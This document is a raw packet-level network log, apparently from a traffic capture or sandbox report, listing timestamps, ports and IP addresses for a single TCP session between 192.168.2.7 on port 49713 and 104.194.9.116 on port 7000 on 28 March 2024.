Mar 28, 2024 10:25:43.947885990 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.947906017 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.947932005 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.947933912 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.947948933 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.947961092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.947984934 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.948015928 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.948040962 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.948056936 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.948064089 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.948071003 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.948103905 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.948107004 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.948121071 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.948136091 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.948151112 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.948165894 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.948173046 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.948179007 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.948191881 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.948230982 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.948235989 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.948275089 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.987296104 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.987317085 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.987359047 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.987373114 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.987387896 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.987401962 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.987404108 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.987418890 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.987437010 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.987447023 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:43.987449884 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:43.987485886 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.025417089 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.025435925 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.025444984 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.025456905 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.025470972 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.025497913 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.025511026 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.025522947 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.025536060 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.025542021 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.025574923 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.025604963 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.061372042 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061408997 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061428070 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061440945 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061456919 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061479092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061491966 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061508894 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061506033 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.061527014 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061538935 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061553955 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061558008 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.061569929 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061577082 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061598063 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.061616898 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.061630964 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061650991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061667919 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061683893 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.061702013 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061708927 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.061722994 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061739922 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061767101 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.061798096 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.061894894 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.062128067 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.103315115 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.103336096 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.103353024 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.103374004 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.103449106 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.103450060 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.103512049 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.103545904 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.103565931 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.103606939 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.103643894 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.103661060 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.103719950 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.103754044 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.130254030 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.130273104 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.130285978 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.130327940 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.130331993 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.130367041 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.130367994 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.130439043 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.130475044 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.130481958 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.130553961 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.130589962 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.130598068 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.176223993 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.193887949 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.193926096 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.193938971 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.193953037 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.193967104 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.193973064 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.193986893 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.193991899 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.194031000 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.194051027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.194125891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.194166899 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.194204092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.194236040 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.194273949 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.194300890 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.194330931 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.194366932 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.194447041 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.194462061 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.194494009 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.194498062 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.194509983 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.194525957 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.194550991 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.194587946 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.194606066 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.194618940 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.194623947 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.194654942 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.204917908 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.204933882 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.204972029 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.204986095 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.204988003 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.205014944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.205027103 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.205028057 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.205040932 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.205063105 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.205080032 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.205092907 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.205121994 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.205122948 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.205158949 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.237791061 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.237809896 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.237829924 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.237850904 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.237852097 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.237870932 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.237890959 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.237890959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.237910032 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.237921953 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.237932920 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.237958908 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.279459953 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312566042 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312594891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312618971 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312630892 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312640905 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.312643051 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312665939 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.312674046 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312697887 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.312711954 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312736034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312747002 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.312748909 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312762976 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312787056 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312794924 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.312798977 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312819004 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.312824011 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312840939 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312861919 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312863111 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.312875986 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312889099 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312897921 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.312902927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312916994 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312931061 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.312931061 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.312954903 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.312980890 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.313000917 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.313014030 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.313021898 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.313028097 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.313050032 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.313097954 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.313123941 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.313138008 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.313144922 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.313168049 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.313174009 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.313203096 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.313227892 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.313251019 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.363683939 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.363905907 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.363925934 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.363939047 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.363951921 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.363964081 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.363965034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.363985062 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.364012957 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.364043951 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.364048958 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.364059925 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.364098072 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.415534973 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.415649891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.415693998 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.415705919 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.415757895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.415802956 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.415848970 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.415919065 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.415954113 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.415977955 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.416033983 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.416068077 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.416086912 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.416146994 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.416163921 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.416184902 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.416235924 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.416271925 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.416306019 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.416358948 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.416393042 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.416452885 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.416527987 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.416563988 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.416598082 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.416695118 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.416733980 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.416810036 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.417145967 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.417186022 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.417196035 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.417248011 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.417288065 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.417310953 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.417357922 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.417392969 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.417414904 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.417475939 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.417519093 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.417520046 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.417572021 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.417603970 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.417627096 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.417653084 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.417692900 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.478965044 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.478996992 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.479012012 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.479026079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.479041100 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.479044914 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.479053974 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.479074001 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.479074955 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.479094028 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.479106903 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.479108095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.479140997 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.519941092 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.522706985 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.522787094 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.522833109 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.522906065 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.522965908 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.523001909 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.523025036 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.523092031 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.523129940 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.523129940 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.523279905 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.523319006 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.523322105 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.523382902 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.523417950 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.523427010 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.523484945 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.523521900 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.523528099 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.523689985 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.523727894 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.523775101 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.523869038 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.523900986 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.523916960 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.523946047 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.523987055 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.523991108 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.524070978 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.524118900 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.524156094 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.524175882 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.524245977 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.524307013 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.524435043 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.524473906 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.524498940 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.524573088 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.524616003 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.524619102 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.524669886 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.524707079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.524708033 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.524764061 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.524888039 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.581870079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.581897020 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.581938982 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.581954956 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.581988096 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.582025051 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:44.582058907 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:44.582123041 CET	7000	49713	104.194.9.116	192.168.2.7
